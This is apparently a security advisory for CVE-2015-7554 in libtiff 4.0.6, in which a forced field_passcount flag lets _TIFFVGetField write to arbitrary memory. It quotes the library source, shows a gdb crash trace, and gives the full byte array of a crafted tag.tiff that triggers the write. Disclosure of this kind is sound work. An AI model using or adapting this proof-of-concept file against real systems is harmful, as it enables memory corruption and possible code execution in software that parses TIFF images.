`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain extension tags to invalid or possibly arbitrary memory. Each tag has a `field_passcount' variable in their TIFFField struct: tiff-4.0.6/libtiff/tif_dir.h #276..289: ,---- | struct _TIFFField { | uint32 field_tag; /* field's tag */ | short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */ | short field_writecount; /* write count/TIFF_VARIABLE */ | TIFFDataType field_type; /* type of associated data */ | uint32 reserved; /* reserved for future extension */ | TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */ | TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */ | unsigned short field_bit; /* bit in fieldsset bit vector */ | unsigned char field_oktochange; /* if true, can change while writing */ | unsigned char field_passcount; /* if true, pass dir count on set */ | char* field_name; /* ASCII name */ | TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */ | }; `---- For example: tiff-4.0.6/libtiff/tif_fax3.c #1139..1141: ,---- | static const TIFFField fax3Fields[] = { | { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL }, | }; `---- However, `field_passcount' is always assigned TRUE if the tag is processed by `_TIFFCreateAnonField()'. This happens on unsuccessful invocations of `TIFFReadDirectoryFindFieldInfo()': tiff-4.0.6/libtiff/tif_dirread.c #3396..4076: ,---- | int | TIFFReadDirectory(TIFF* tif) | { | [...] | TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii); | if (fii == FAILED_FII) | { | TIFFWarningExt(tif->tif_clientdata, module, | "Unknown field with tag %d (0x%x) encountered", | dp->tdir_tag,dp->tdir_tag); | /* the following knowingly leaks the | anonymous field structure */ | if (!_TIFFMergeFields(tif, | _TIFFCreateAnonField(tif, | dp->tdir_tag, | (TIFFDataType) dp->tdir_type), | 1)) { | [...] | } `---- tiff-4.0.6/libtiff/tif_dirinfo.c #627..719: ,---- | TIFFField* | _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type) | { | [...] | fld->field_bit = FIELD_CUSTOM; | [...] | fld->field_passcount = TRUE; | [...] | } `---- If the field for a 1-count extension tag whose `field_passcount' has been overridden is later read by `_TIFFVGetField()', this happens: tiff-4.0.6/libtiff/tif_dir.c #823..1145: ,---- | static int | _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap) | { | [...] | uint32 standard_tag = tag; | [...] | if (fip->field_bit == FIELD_CUSTOM) { | standard_tag = 0; | } | | switch (standard_tag) { | [...] | default: | { | [...] | for (i = 0; i < td->td_customValueCount; i++) { | [...] | if (fip->field_passcount) { | if (fip->field_readcount == TIFF_VARIABLE2) | *va_arg(ap, uint32*) = (uint32)tv->count; | else /* Assume TIFF_VARIABLE */ | *va_arg(ap, uint16*) = (uint16)tv->count; | *va_arg(ap, void **) = tv->value; | ret_val = 1; | } | [...] | } | } | } | [...] | } `---- With an invocation of `TIFFGetField()' such as: ,---- | TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst); `---- for a TIFFTAG_GROUP3OPTIONS specified as: ,---- | 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41 | ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ | tag type count offset/value `---- the count is written to `dst', whereas 0x41414141 is written to invalid/arbitrary memory. Using the included tiffsplit utility as an example: tiff-4.0.6/tools/tiffsplit.c #157..228: ,---- | static int | tiffcp(TIFF* in, TIFF* out) | { | [...] | CopyField(TIFFTAG_YRESOLUTION, floatv); | CopyField(TIFFTAG_GROUP3OPTIONS, longv); | [...] | } `---- ,---- | $ gdb -q --args tiffsplit tag.tiff | Reading symbols from tiffsplit...done. | (gdb) r | TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered. | | Program received signal SIGSEGV, Segmentation fault. | 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056 | 1056 *va_arg(ap, void **) = tv->value; | (gdb) x/i $eip | => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax) | (gdb) x/x $edx | 0x804d670: 0x41414141 | (gdb) x/x $eax | 0x41410000: Cannot access memory at address 0x41410000 | (gdb) `---- tag.tiff: ,---- | unsigned char tiff[] = { | /* little-endian */ | 0x49, 0x49, | | /* version */ | 0x2a, 0x00, | | /* tif->tif_diroff */ | 0x09, 0x00, 0x00, 0x00, | 0x00, | | /* tag count */ | 0x07, 0x00, | | /* tag | type | count | offset/value */ | /* TIFFTAG_IMAGEWIDTH */ | 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, | /* TIFFTAG_IMAGELENGTH */ | 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, | /* TIFFTAG_BITSPERSAMPLE */ | 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, | /* TIFFTAG_STRIPOFFSETS */ | 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, | /* TIFFTAG_STRIPBYTECOUNTS */ | 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, | /* TIFFTAG_YRESOLUTION */ | 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, | /* TIFFTAG_GROUP3OPTIONS */ | 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, | | /* tif->tif_nextdiroff */ | 0x00, 0x00, 0x00, 0x00, | | /* bits per sample */ | 0x08, 0x00, | 0x08, 0x00, | 0x08, 0x00, | }; `---- This issue has been assigned CVE-2015-7554 and it has yet to be fixed. -- Hans Jerry Illikainen